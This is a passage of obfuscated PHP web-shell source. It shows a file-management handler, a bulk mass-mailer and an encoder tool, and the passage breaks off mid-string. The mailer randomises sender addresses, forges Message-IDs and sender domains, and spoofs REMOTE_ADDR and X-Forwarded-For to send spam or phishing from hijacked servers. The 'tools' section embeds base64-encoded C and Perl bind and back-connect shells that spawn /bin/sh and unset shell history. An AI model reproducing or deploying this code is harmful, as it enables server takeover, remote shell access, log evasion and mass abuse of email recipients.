z2b(z9s(\"167\")).$rmsg.z5c(array('act'=>'upload','d','rsubmit'=>'1'),z10e(z5n().z7i(z5t(z9s(\"165\")).z9j(z6i('uploadurl',(@isset($uploadurl)?$uploadurl:'http:\/\/'),\"0\").z4a('upwith',$a_get,'4','1').z8v(z9s(\"170\"),'7').$wdt)).z7i(z5t(z9s(\"163\")).z9j(z6i('nameurl',(@isset($nameurl)?$nameurl:''),\"9\"))).z7i(z5t(z9s(\"164\")).z9j(z6i('rpath',(@isset($rpath)?$rpath:$d),\"9\"))).z5n(),'2'));}}if(@isset($lsall)&&@isset($action)&&$action!=''){$lsall_arr=array();$tlsall_arr=@explode(\"\\n\",$lsall);foreach($tlsall_arr as $tls){$tls=@trim($tls);if(!@empty($tls)&&!@in_array($tls,$lsall_arr)){$lsall_arr[]=$tls;}}if(@count($lsall_arr)>0){foreach($lsall_arr as $dfls){if(@isset($use_buffer)&&$use_buffer&&@isset($bcopy)&&@isset($bcut)&&@is_array($bcopy)&&@is_array($bcut)){switch($action){case 'bcopy':if(!@in_array($dfls,$bcopy)){z1l($dfls,'bcopy');}break;case 'bcut':if(!@in_array($dfls,$bcut)){z1l($dfls,'bcut');}break;case 'bunsetcopy':if(@in_array($dfls,$bcopy)){z1l($dfls,'bcopy');}break;case 'bunsetcut':if(@in_array($dfls,$bcut)){z1l($dfls,'bcut');}break;case 'bunsetall':if(@in_array($dfls,$bcopy)){z1l($dfls,'bcopy');}elseif(@in_array($dfls,$bcut)){z1l($dfls,'bcut');}break;default:break;}}switch($action){case 'delete':if(z4q($dfls)){z8d($dfls);}break;default:break;}}if(@isset($use_buffer)&&$use_buffer)z1w();}}if($act=='mailer'){$smsg=$cmsg='';$s_ok=$c_ok=0;if(@isset($m1_submit)&&$m1_submit){if(@empty($m1_name)||@empty($m1_from)||@empty($m1_subj)||@empty($m1_msg)||$m1_msg==\"message\"||@empty($m1_emails)||!@strstr($m1_emails,\"@\")){$smsg=\" : \".z9s(\"236\");}else{$s_ok=1;}}elseif(@isset($m2_submit)&&$m2_submit){if(@empty($m2_name)||@empty($m2_from)||@empty($m2_subj)||@empty($m2_msg)||@empty($m2_csv)||!@preg_match('\/\"(.*?)\"\\s*,\\s*\"(.*?)\"\/',$m2_csv)){$cmsg=\" : \".z9s(\"236\");}else{$c_ok=1;}}if(!@isset($m1_msg)||@empty($m1_msg))$m1_msg=\"message\";if(!@isset($m1_emails)||@empty($m1_emails))$m1_emails=\"e-mails\";if(!@isset($m2_prefix)||@empty($m2_prefix))$m2_prefix=\"column_prefix_\";if(!@isset($m2_ecol)||!@is_numeric($m2_ecol))$m2_ecol=\"0\";if(!@isset($m2_msg)||@empty($m2_msg))$m2_msg=\"Hello \".$m2_prefix.\"1,\\r\\n\\r\\nYour Address: \".$m2_prefix.\"2\\r\\nYour Phone: \".$m2_prefix.\"3\\r\\n\\r\\nE-mail sent to: \".$m2_prefix.\"0\";if(!@isset($m2_csv)||@empty($m2_csv))$m2_csv='\"john@email\",\"john\",\"john\\'s address\",\"0123456789\"'.\"\\r\\n\".'\"jane@email\",\"jane\",\"jane\\'s address\",\"9876543210\"';echo z2b(array(z9s(\"212\").$smsg,z9s(\"213\").$cmsg),'46');echo z9m('2').z7p().z7k('','4');echo z10e(z5n().z9f(z9j(z10e(z5c(array(\"act\"=>\"mailer\",\"d\",\"m1_submit\"=>\"1\"),z7i(z9j(z8e(z9s(\"214\"))).z7e(z5u('m1_name','','7'))).z7i(z9j(z8e(z9s(\"215\"))).z7e(z5u('m1_from','','7'))).z7i(z9j(z8e(z9s(\"216\"))).z7e(z5u('m1_subj','','7'))).z7i(z6c(z5w('m1_msg','3').$m1_msg.z5q(),'2')).z7i(z6c(z5w('m1_emails','3').$m1_emails.z5q(),'2')).z7i(z6c(z10e(z7i(z9j(z8e(z9s(\"217\")).z5u('m1_str','','4')).z9j(z8e(z9s(\"218\")).z4a('m1_replace',array(\"\"=>z9s(\"223\"),\"name\"=>z9s(\"224\"),\"email1\"=>z9s(\"225\"),\"email2\"=>z9s(\"226\"),\"emailhash\"=>z9s(\"227\")),'4',1)).z9j(z8e(z9s(\"219\")).z4a(\"m1_where\",array(\"subject\"=>z9s(\"228\"),\"message\"=>z9s(\"229\"),\"\"=>z9s(\"230\")),'5',1))),'2'),'2')).z7i(z6c(z10e(z7i(z9j(z5y(\"m1_rand1\",z9s(\"231\"),\"m1_rand1\"),'','4').z9j(z5y(\"m1_rand2\",z9s(\"232\"),\"m1_rand2\"),'','4')),'2'),'2')).z5n().z7i(z6c(z8v(z9s(\"233\"),'7').z5y('m1_preview',z9s(\"234\"),'m1_preview'),'2'))),'2'),'20')).z5n(),'2');echo z7g().z7k('','46');echo z10e(z5n().z9f(z9j(z10e(z5c(array('act'=>'mailer',\"d\",'m2_submit'=>'1'),z7i(z9j(z8e(z9s(\"214\"))).z7e(z5u('m2_name','','7'))).z7i(z9j(z8e(z9s(\"215\"))).z7e(z5u('m2_from','','7'))).z7i(z9j(z8e(z9s(\"216\"))).z7e(z5u('m2_subj','','7'))).z7i(z6c(z5w('m2_msg','3').$m2_msg.z5q(),'2')).z7i(z6c(z5w('m2_csv','3').$m2_csv.z5q(),'2')).z7i(z6c(z10e(z7i(z9j(z8e(z9s(\"220\")).z6i('m2_ecol',$m2_ecol,'6')).z9j(z8e(z9s(\"221\")).z5u('m2_prefix','','4')).z9j(z8e(z9s(\"222\")).z4a('m2_where',array(\"message\"=>z9s(\"229\"),\"\"=>z9s(\"230\")),\"4\",1))),'2'),'2')).z7i(z6c(z10e(z7i(z9j(z5y(\"m2_rand1\",z9s(\"231\"),\"m2_rand1\"),'','4').z9j(z5y(\"m2_rand2\",z9s(\"232\"),\"m2_rand2\"),'','4')),'2'),'2')).z5n().z7i(z6c(z8v(z9s(\"233\"),'7').z5y('m2_preview',z9s(\"234\"),\"m2_preview\").' '.z5y('m2_verbose',z9s(\"235\"),\"m2_verbose\"),'2'))),'2'),'20')).z5n(),'2');echo z7g().z7u().z10w();if($s_ok||$c_ok){$host=array(\"aol.com\",\"att.net\",\"bellsouth.net\",\"comcast.net\",\"email.com\",\"gmail.com\",\"googlemail.com\",\"hotmail.com\",\"juno.com\",\"live.com\",\"lycos.com\",\"mail.com\",\"mindspring.com\",\"msn.com\",\"pacbell.com\",\"post.com\",\"prodigy.net\",\"rocketmail.com\",\"sbcglobal.net\",\"usa.com\",\"yahoo.com\",\"ymail.com\");$ch=(@count($host)-1);$i=1;$m_success=0;$m_failed=0;$all_failed=array();if($s_ok){echo z9m('2').z7i(z9j(z9s(\"237\"),'8','2').z9j(z9s(\"238\"),'8').z9j(z9s(\"239\"),'8').z9j(z9s(\"240\"),'8').z9j(z9s(\"241\"),'8','3'));$m_all=@explode(\"\\n\",$m1_emails);$m_all=@array_unique($m_all);$m_count=@count($m_all);$m_len=@strlen($m_count);z5p();foreach($m_all as $m_mail){$from=$m1_from;if(@isset($m1_rand1)&&$m1_rand1){$from=@str_replace(\"@\",@rand(100000,999999).\"@\",$from);}if(isset($m1_rand2)&&$m1_rand2){$hr=@rand(0,$ch);$m_msgid=@md5(@uniqid(@time())).\"@\".$host[$hr];}else{$m_msgid=@md5(@uniqid(@time())).\"@\".$_SERVER[\"SERVER_NAME\"];}$header=\"\";$header.=\"From: $m1_name <$from>\\n\";$header.=\"Reply-To: <$from>\\n\";$header.=\"Message-ID: <\".$m_msgid.\">\\n\";$header.=\"MIME-Version: 1.0\\n\";$date=@date(\"Y-m-d\");$header.=\"Date: $date\\n\";$header.=preg_replace('~^x-mailer\\s*:\\s*~is','',r_xmailer($x_mailer)).\"\\n\";$header.=\"Content-Type: text\/html; charset=UTF-8\\n\";$header.=\"Content-Transfer-Encoding: 8bit\\n\\n\";$m_msg=$m1_msg;$m_subj=$m1_subj;if(@isset($m1_str)&&!@empty($m1_str)&&@isset($m1_replace)&&!@empty($m1_replace)){if($m1_replace==\"name\"){if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"message\")$m_msg=@str_replace($m1_str,$m1_name,$m_msg);if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"subject\")$m_subj=@str_replace($m1_str,$m1_name,$m_subj);}elseif($m1_replace==\"email1\"){if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"message\")$m_msg=@str_replace($m1_str,$m1_from,$m_msg);if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"subject\")$m_subj=@str_replace($m1_str,$m1_from,$m_subj);}elseif($m1_replace==\"email2\"){if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"message\")$m_msg=@str_replace($m1_str,$m_mail,$m_msg);if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"subject\")$m_subj=@str_replace($m1_str,$m_mail,$m_subj);}elseif($m1_replace==\"emailhash\"){if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"message\")$m_msg=@str_replace($m1_str,@md5($m_mail),$m_msg);if(!@isset($m1_where)||@empty($m1_where)||$m1_where==\"subject\")$m_subj=@str_replace($m1_str,@md5($m_mail),$m_subj);}}$m_pad=\"\";if(@strlen($i)<$m_len)$m_pad=@str_repeat(\"0\",($m_len-@strlen($i)));if(!@empty($m_mail)){if(@isset($m1_preview)&&$m1_preview){if($i>5)break;echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z5i(z9s(\"245\")),'14','3'),($i%2?'0':'1'));}else{if(@mail($m_mail,$m_subj,$m_msg,$header)){echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z5i(z9s(\"243\")),'14','3'),($i%2?'0':'1'));z5p();$m_success++;}else{echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z8z(z9s(\"244\")),'14','3'),($i%2?'0':'1'));z5p();$all_failed[]=$m_mail;$m_failed++;}}$i++;}}}elseif($c_ok){$fcsv=@str_replace(\"\\r\",\"\\n\",$m2_csv);$fcsv=z3q(\"\\n\\n\",\"\\n\",$fcsv);$csv=z5g($fcsv);echo z9m('2').z7i(z9j(z9s(\"237\"),'8','2').z9j(z9s(\"238\"),'8').z9j(z9s(\"239\"),'8').((@isset($m2_verbose)&&$m2_verbose)?z9j(z9s(\"242\"),'8'):'').z9j(z9s(\"240\"),'8').z9j(z9s(\"241\"),'8','3'));$m_count=@count($csv);$m_len=@strlen($m_count);z5p();foreach($csv as $str_csv){if(@is_array($str_csv)){$from=$m2_from;$m_mail=$str_csv[$m2_ecol];if(@isset($m2_rand1)&&$m2_rand1){$from=@str_replace(\"@\",@rand(100000,999999).\"@\",$from);}if(isset($m2_rand2)&&$m2_rand2){$hr=@rand(0,$ch);$m_msgid=@md5(@uniqid(@time())).\"@\".$host[$hr];}else{$m_msgid=@md5(@uniqid(@time())).\"@\".$_SERVER[\"SERVER_NAME\"];}$m_msg=$m2_msg;$m_subj=$m2_subj;$repl=array();for($si=(@count($str_csv)-1);$si>=0;$si--){if(@empty($m2_where)){$m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg);$m_subj=@str_replace($m2_prefix.$si,$str_csv[$si],$m_subj);$m2_name=@str_replace($m2_prefix.$si,$str_csv[$si],$m2_name);$from=@str_replace($m2_prefix.$si,$str_csv[$si],$from);if(isset($stringattachment_name)&&isset($stringattachment_body)){$stringattachment_name_final=@str_replace($m2_prefix.$si,$str_csv[$si],$stringattachment_name);$stringattachment_body_final=@str_replace($m2_prefix.$si,$str_csv[$si],$stringattachment_body);}$repl[]=$m2_prefix.$si.\" = \".$str_csv[$si].z9x();}else{$m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg);$repl[]=$m2_prefix.$si.\" = \".$str_csv[$si].z9x();}}$m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg);$m_subj=@str_replace($m2_prefix.$si,$str_csv[$si],$m_subj);$m2_name=@str_replace($m2_prefix.$si,$str_csv[$si],$m2_name);$from=@str_replace($m2_prefix.$si,$str_csv[$si],$from);if($sender_option=='is_receiver')$from=$m_mail;if($sender_option=='use_receiver_domain'){$sender_explode=explode('@',$from);$receiver_explode=explode('@',$m_mail);$from=$sender_explode[0].'@'.$receiver_explode[1];}if($sender_option=='use_shell_domain'){$sender_explode=explode('@',$from);$from=$sender_explode[0].'@'.$_SERVER['HTTP_HOST'];}$header=\"\";$header.=\"From: $m2_name <$from>\\n\";$header.=\"Reply-To: <$from>\\n\";$header.=\"Message-ID: <\".$m_msgid.\">\\n\";$header.=\"MIME-Version: 1.0\\n\";$date=@date(\"Y-m-d\");$header.=\"Date: $date\\n\";$header.=\"Content-Type: text\/html; charset=UTF-8\\n\";$header.=\"Content-Transfer-Encoding: 8bit\\n\\n\";$replacing=(@count($repl)>0?@implode('',@array_reverse($repl)):'');$m_pad=\"\";if(@strlen($i)<$m_len)$m_pad=@str_repeat(\"0\",($m_len-@strlen($i)));if(!@empty($m_mail)){if(@isset($m2_preview)&&$m2_preview){if($i>5)break;echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z5i(z9s(\"245\")),'14','3'),($i%2?'0':'1'));}else{if($send_method=='PHPMailer'||$send_method=='smtp'||$send_method=='sendmail'){$mail=new PHPMailer;if(isset($message_charset))$mail->CharSet=$message_charset;if(isset($message_encoding))$mail->Encoding=$message_encoding;if(isset($x_priority))$mail->Priority=$x_priority;if(isset($x_mailer))$mail->XMailer=preg_replace('~^x-mailer\\s*:\\s*~is','',r_xmailer($x_mailer));if($send_method==\"smtp\"){$mail->isSMTP();if(isset($smtp_SMTPDebug))$mail->SMTPDebug=$smtp_SMTPDebug;if(isset($smtp_host))$mail->Host=$smtp_host;else $mail->Host='localhost';if(isset($smtp_port))$mail->Port=$smtp_port;else $mail->Port=465;if(isset($smtp_keepalive))$mail->SMTPKeepAlive=$smtp_keepalive;if(isset($smtp_SMTPAuth))$mail->SMTPAuth=$smtp_SMTPAuth;if(isset($smtp_username)){$mail->Username=$smtp_username;$mail->Password=$smtp_password;}if(isset($smtp_SMTPSecure))$mail->SMTPSecure=$smtp_SMTPSecure;}if($send_method==\"sendmail\")$mail->isSendmail();if(isset($receiver_name)){$receiver_explode=explode('@',$m_mail);$mail->addAddress($m_mail,$receiver_explode[0]);}else $mail->addAddress($m_mail);$mail->setFrom($from,$m2_name);$mail->addReplyTo($from,$m2_name);if(isset($message_ids)){if($message_ids=='random_domain')$message_id='<'.md5(uniqid(time())).'@'.r_random_domain().'>';else if($message_ids=='sender_domain')$message_id='<'.md5(uniqid(time())).'@'.get_domain_email($from).'>';else if($message_ids=='shell_domain')$message_id='<'.md5(uniqid(time())).'@'.$_SERVER['HTTP_HOST'].'>';else if($message_ids=='random_computer'){$computer=array('Home','HomeComputer','Notebook','Laptop','PC','MyPC','Desktop','Office','Computer');$randomc=rand(1,4);if($randomc==1)$computer_name=$computer[array_rand($computer)].'-'.r_random_value('word_upper',6,8);elseif($randomc==2)$computer_name=r_random_value('word_upper',6,8).'-'.$computer[array_rand($computer)];elseif($randomc==3)$computer_name=strtoupper($computer[array_rand($computer)]).'-'.r_random_value('word_upper',6,8);elseif($randomc==4)$computer_name=r_random_value('word_upper',6,8).'-'.strtoupper($computer[array_rand($computer)]);$message_id='<'.md5(uniqid(time())).'@'.$computer_name.'>';}$mail->MessageID=$message_id;}$mail->Subject=$m_subj;if(isset($isHTML))$mail->isHTML($isHTML);if(isset($msgHTML))$mail->msgHTML($m_msg,__DIR__);else $mail->Body=$m_msg;if(isset($altbody))$mail->AltBody=$altbody;if(isset($stringattachment_name)&&isset($stringattachment_body)){$mail->addStringAttachment($stringattachment_body_final,$stringattachment_name_final);}$oldphpself=$_SERVER['PHP_SELF'];$oldremoteaddr=$_SERVER['REMOTE_ADDR'];$_SERVER['PHP_SELF']=\"\/\";$_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$oldremote_fwd_addr=$_SERVER['HTTP_X_FORWARDED_FOR'];$_SERVER['HTTP_X_FORWARDED_FOR']=$_SERVER['REMOTE_ADDR'];}if(!$mail->send()){echo \"Mailer Error: \".$mail->ErrorInfo;$oksend=False;if($send_method=='smtp')$mail->getSMTPInstance()->reset();}else{echo \"Message sent!\";$oksend=True;}$_SERVER['PHP_SELF']=$oldphpself;$_SERVER['REMOTE_ADDR']=$oldremoteaddr;if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['HTTP_X_FORWARDED_FOR']=$oldremote_fwd_addr;unset($oldremote_fwd_addr);}$mail->clearAddresses();$mail->clearAttachments();$mail->clearCustomHeaders();$mail->clearReplyTos();if(isset($seconds_between_messages)){if(strpos($seconds_between_messages,\"random_\")!==false){$explode_sleep=explode('_',$seconds_between_messages);$sleep=rand($explode_sleep[1],$explode_sleep[2]);}else $sleep=$seconds_between_messages;sleep($sleep);}}else $oksend=@mail($m_mail,$m_subj,$m_msg,$header);if($oksend){echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z5i(z9s(\"243\")),'14','3'),($i%2?'0':'1'));z5p();$m_success++;}else{echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z8z(z9s(\"244\")),'14','3'),($i%2?'0':'1'));z5p();$all_failed[]=$m_mail;$m_failed++;}}$i++;}}}echo z10w();}if(!@isset($m2_preview)||!$m2_preview){echo z6d().z10e(z7i(z6x(z9s(\"426\",$m_count).z9c().z9s(\"427\",$m_success).z9c().z9s(\"428\",$m_failed).($m_failed>0?z9c().z9s(\"431\"):''))),'2');if(@count($all_failed)>0){echo z10e(z9f(z6x(z5w('','1',1).@implode(\"\\n\",@array_unique($all_failed)).z5q())),'2');}}}}if($act=='encoders'){$hash_algos=array(''=>z9s(\"260\"));if(!@isset($hash_input))$hash_input='';if(z7r(\"hash_algos\")&&@z7r(\"hash\")){$hfnc=1;$hashes=@hash_algos();}else{$hfnc=0;$hashes=array();foreach(array(\"md5\",\"sha1\",\"crc32\")as $hh){if(z7r($hh))$hashes[]=$hh;}}foreach($hashes as $ha)$hash_algos[$ha]=$ha;$encode_functions=z0x();$submited=0;if(@isset($submit_encode)&&$submit_encode&&@isset($encoder_input)&&!@empty($encoder_input))$submited=1;$encoder_output=\"\";if(!@isset($ip_input)||@empty($ip_input)){$ip_input=$saddr;}echo z2b(array(z9s(\"246\"),z9s(\"253\")),\"46\");echo z9m(2).z7p().z7k('','4').z6d().z9m('2').z9l('','hash_form').z9b(\"act\",\"encoders\").z9b(\"d\").z9b(\"htype\",\"1\").z7i(z5t(z9s(\"247\")).z9j(z5u(\"hashinput\",\"\",\"5\").z8v(z9s(\"248\"),'7').z8m(z9s(\"250\"),'document.hash_form.hashinput.value=\\'\\';','7'))).z9z().z10w();if(@isset($htype)&&$htype){echo z10e(z9f(z5t(z9s(\"251\")).z9j(z5w('','6').z2k($hashinput).z5q())),\"2\");}echo z7g().z7k('','46').z6d().z9m('2').z9l('',\"ip_form\").z9b(\"act\",\"encoders\").z9b(\"d\").z9b(\"submit_ip\",\"1\").z7i(z5t(z9s(\"254\")).z9j(z6i(\"ip_input\",@htmlspecialchars($ip_input),'5').z8v(z9s(\"248\"),'7').z8m(z9s(\"250\"),'document.ip_form.ip_input.value=\\'\\';','7'))).z9z().z10w();if(@isset($submit_ip)&&$submit_ip==\"1\"&&@isset($ip_input)&&!@empty($ip_input)){echo z9m('2').z7i(z5t(z9s(\"255\")).z9j(z8h(sprintf(\"%u\",@ip2long($ip_input)),\"0\").z9c().z10y('http:\/\/'.@sprintf(\"%u\",@ip2long($ip_input)).'\/',z9s(\"252\"),\"1\",1))).z7i(z5t(z9s(\"256\")).z9j(z8h((z2n($ip_input)==\"failed\")?\"failed\":z2n($ip_input),\"0\").((z2n($ip_input)==\"failed\")?\"\":z9c().z10y('http:\/\/'.z2n($ip_input).'\/',z9s(\"252\"),\"1\",1)))).z7i(z5t(z9s(\"257\")).z9j(z8h((z1h($ip_input)==\"failed\")?\"failed\":z1h($ip_input),\"0\").((z1h($ip_input)==\"failed\")?\"\":z9c().z10y('http:\/\/'.z1h($ip_input).'\/',z9s(\"252\"),\"1\",1)))).z10w();}echo z6d();echo z7g().z7u().z10w();echo z2b(array(z9s(\"432\"),z9s(\"433\")),'46');echo z9m(2).z7p().z7k('','4').z6d().z9m('2').z9l('',\"hashing_form\").z9b(\"act\",\"encoders\").z9b(\"d\").z7i(z5t(z9s(\"258\")).z9j(z4a('hash_type',$hash_algos,'5',1).z8v(z9s(\"249\"),'7').z8m(z9s(\"250\"),'document.hashing_form.hash_input.value=\\'\\';','7'))).z9f(z5t(z9s(\"259\")).z9j(z5w('hash_input','6').(@isset($hash_input)?@htmlspecialchars($hash_input):'').z5q())).z9z().z10w().z6d().z7g().z7k('','46').z6d().z9m('2').z9l('',\"encoder_form\").z9b(\"d\").z9b(\"act\",\"encoders\").z9b(\"submit_encode\",\"1\").z7i(z5t(z9s(\"91\")).z9j(z4a(\"encode_selected\",$encode_functions,\"5\",1,'').z8v(z9s(\"249\"),'7').z8m(z9s(\"250\"),'document.encoder_form.encoder_input.value=\\'\\';','7'))).z9f(z5t(z9s(\"259\")).z9j(z5w('encoder_input','6').(@isset($encoder_input)?@htmlspecialchars($encoder_input):'').z5q())).($submited?z7i(z5t(z9c()).z9j(z8m(z9s(\"263\"),'document.output_form.encoder_output.value=\\'\\';','7').z8m(z9s(\"264\"),'document.encoder_form.encoder_input.value=document.output_form.encoder_output.value;','7'))):'').z9z().z10w().z6d().z7g().z7u().z10w();if(@isset($hash_input)&&!@empty($hash_input)){echo z2b(z9s(\"261\")).z6d();echo z9m('2');if(@count($hashes)>0){if(@isset($hash_type)&&@in_array($hash_type,$hashes)){echo z7i(z5t($hash_type).z9j(z8h(($hfnc?@hash($hash_type,$hash_input):$hash_type($hash_input)),'7')));}else{foreach($hashes as $k){echo z7i(z5t($k).z9j(z8h(($hfnc?@hash($k,$hash_input):$k($hash_input)),'7')));}}}echo z10w().z6d();}if($submited){$encoder_output=$encode_selected($encoder_input);echo z2b(z9s(\"262\")).z6d().z9m('2').z9l('',\"output_form\").z9f(z6x(z5w('encoder_output','1').@htmlspecialchars($encoder_output).z5q())).z9z().z10w().z6d();}}if($act=='tools'){$bndprt_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5ncy5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5lIFAwUlQgJXBvcnQlCiNkZWZpbmUgUEFTUyAiJXBhc3MlIgoKaW50Cm1haW4oaW50IGEsIGNoYXIgKipiKQp7CmludCBjLCBkLCBlID0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbiksIGY7CmNoYXIgcFsxMDAwXTsKc3RydWN0IHNvY2thZGRyX2luIGwsIHI7CnNpZ25hbChTSUdDSExELCBTSUdfSUdOKTsKc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7CnNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsKc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CmlmIChmb3JrKCkpCmV4aXQoMCk7Cmwuc2luX2ZhbWlseSA9IEFGX0lORVQ7Cmwuc2luX3BvcnQgPSBodG9ucyhQMFJUKTsKbC5zaW5fYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwpiemVybygmKGwuc2luX3plcm8pLCA4KTsKYyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CmJpbmQoYywoc3RydWN0IHNvY2thZGRyICopICZsLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7Cmxpc3RlbihjLCAzKTsKd2hpbGUgKChkID0gYWNjZXB0KGMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnIsICZlKSkpCnsKaWYgKCFmb3JrKCkpCnsKcmVjdihkLCBwLCAxMDAwLCAwKTsKaWYgKGNocGFzcyhQQVNTLHApKQp7CmNsb3NlKGQpOwpleGl0KDEpOwp9CmNsb3NlKDApOwpjbG9zZSgxKTsKY2xvc2UoMik7CmR1cDIoZCwgMCk7CmR1cDIoZCwgMSk7CmR1cDIoZCwgMik7CnNldGVudigiUEFUSCIsICIvc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbi86L3Vzci9sb2NhbC9zYmluOi4iLCAxKTsKdW5zZXRlbnYoIkhJU1RTQVZFIik7CnVuc2V0ZW52KCJISVNURklMRSIpOwpleGVjbCgiL2Jpbi9zaCIsICJzaCIsIChjaGFyICopIDApOwpjbG9zZShkKTsKZXhpdCgwKTsKfQp9CnJldHVybiAwOwp9CgppbnQgY2hwYXNzKGNoYXIgKmJhc2UsIGNoYXIgKmVudGVyZWQpIHsKaW50IGk7CmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSAKewppZihlbnRlcmVkW2ldID09ICdcbicpCmVudGVyZWRbaV0gPSAnXDAnOyAKaWYoZW50ZXJlZFtpXSA9PSAnXHInKQplbnRlcmVkW2ldID0gJ1wwJzsKfQppZiAoIXN0cmNtcChiYXNlLGVudGVyZWQpKQpyZXR1cm4gMDsKfQo=\";$bndprt_pl=\"IyEvdXNyL2Jpbi9wZXJsCiRTSEVMTD0iL2Jpbi9zaCI7CiRMSVNURU5fUE9SVD0lcG9ydCU7CnVzZSBTb2NrZXQ7CiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29ja2V0XG4iOwpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7CmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7Cmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsKd2hpbGUoMSkKewphY2NlcHQoQ09OTixTKTsKaWYoISgkcGlkPWZvcmspKQp7CmRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsKb3BlbiBTVERJTiwiPCZDT05OIjsKb3BlbiBTVERPVVQsIj4mQ09OTiI7Cm9wZW4gU1RERVJSLCI+JkNPTk4iOwpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsKY2xvc2UgQ09OTjsKZXhpdCAwOwp9Cn0KCg==\";$bckcon_pl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";$bckcon_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pCnsKIGludCBmZDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47CiBjaGFyIHJtc1syMV09InJtIC1mICI7IAogZGFlbW9uKDEsMCk7CiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7CiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsKIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IAogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyAKIGZkID0gc2